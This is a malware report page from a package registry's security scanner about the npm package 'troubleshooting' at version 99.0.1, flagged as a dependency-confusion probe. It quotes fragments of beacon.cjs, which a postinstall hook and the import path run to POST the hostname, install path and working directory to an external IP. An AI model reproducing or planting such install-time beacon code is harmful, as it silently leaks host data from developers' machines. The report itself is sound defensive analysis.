registry / Data exfiltration / troubleshooting

troubleshooting

Compatibility shim.

This report shows the evidence for troubleshooting@99.0.1. 7 of 7 known versions are blocked or flagged. The newest version, 2.0.1, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 16d ago · by lpm-firewall-ai

The package automatically transmits host and project location metadata to an unrelated external endpoint during installation and import. This is concrete data exfiltration, so the package should be blocked.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation or importing index.js.

Impact

The recipient learns host and project location metadata without an apparent user action.

Mechanism

beacon.cjs gathers the hostname, install directory, and working directory, then sends them in an HTTP POST to 185.158.107.175:8787.

Attack narrative

During installation, the postinstall hook runs a beacon that sends the machine hostname, package install path, and current working directory to an external IP address. Importing the package entrypoint triggers the same beacon. The entrypoint presents a compatibility shim but returns no-op functions.

AI rationale

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook runs beacon.cjs automatically during installation.
beacon.cjs collects the machine hostname, install path, and current working directory.
beacon.cjs sends the collected payload in an HTTP POST to 185.158.107.175:8787.
Importing index.js also fires the beacon, while exporting no-op functions as a compatibility shim.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.28 KB of source, external domains: 185.158.107.175

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files": [ "index.js", "beacon.cjs", "README.md" ], "license": "MIT" }

High

Suspicious Lifecycle Evidence

The postinstall hook runs beacon.cjs automatically during installation.

package.jsonView on unpkg · L7

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "troubleshooting"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @kibt/www-nuxt-i18n@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:QGtpYnQvd3d3LW51eHQtaTE4bg:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

26var payload = { package: PKG, hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (functio

High

Ai Review Evidence

beacon.cjs collects the machine hostname, install path, and current working directory.

beacon.cjsView on unpkg · L26

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fire() { var payload = { package: PKG, hostname: (function () { try { return require('os').hos

High

Ai Review Evidence

beacon.cjs sends the collected payload in an HTTP POST to 185.158.107.175:8787.

beacon.cjsView on unpkg · L21

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler that imports named/default members o

High

Ai Review Evidence

Importing index.js also fires the beacon, while exporting no-op functions as a compatibility shim.

index.jsView on unpkg · L4

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files": [ "index.js", "beacon.cjs", "README.md" ], "license": "MIT" }

High

Suspicious Lifecycle Evidence

The postinstall hook runs beacon.cjs automatically during installation.

package.jsonView on unpkg · L7

beacon.cjsView file

Findings

7 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to troubleshooting@99.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing troubleshooting@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-08 04:00:05.452Z (UTC).

Source advisory published: 2026-10-07 00:04:15.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

7 known versions

2.0.1latestMaliciousMalwareBlockPublishedOct 7, 2026, 12:06 AM 1.1.0MaliciousMalwareBlockPublishedOct 7, 2026, 12:06 AM 3.0.0MaliciousMalwareBlockPublishedOct 7, 2026, 12:05 AM 99.0.1shownMaliciousData ExfiltrationBlockPublishedOct 7, 2026, 12:05 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages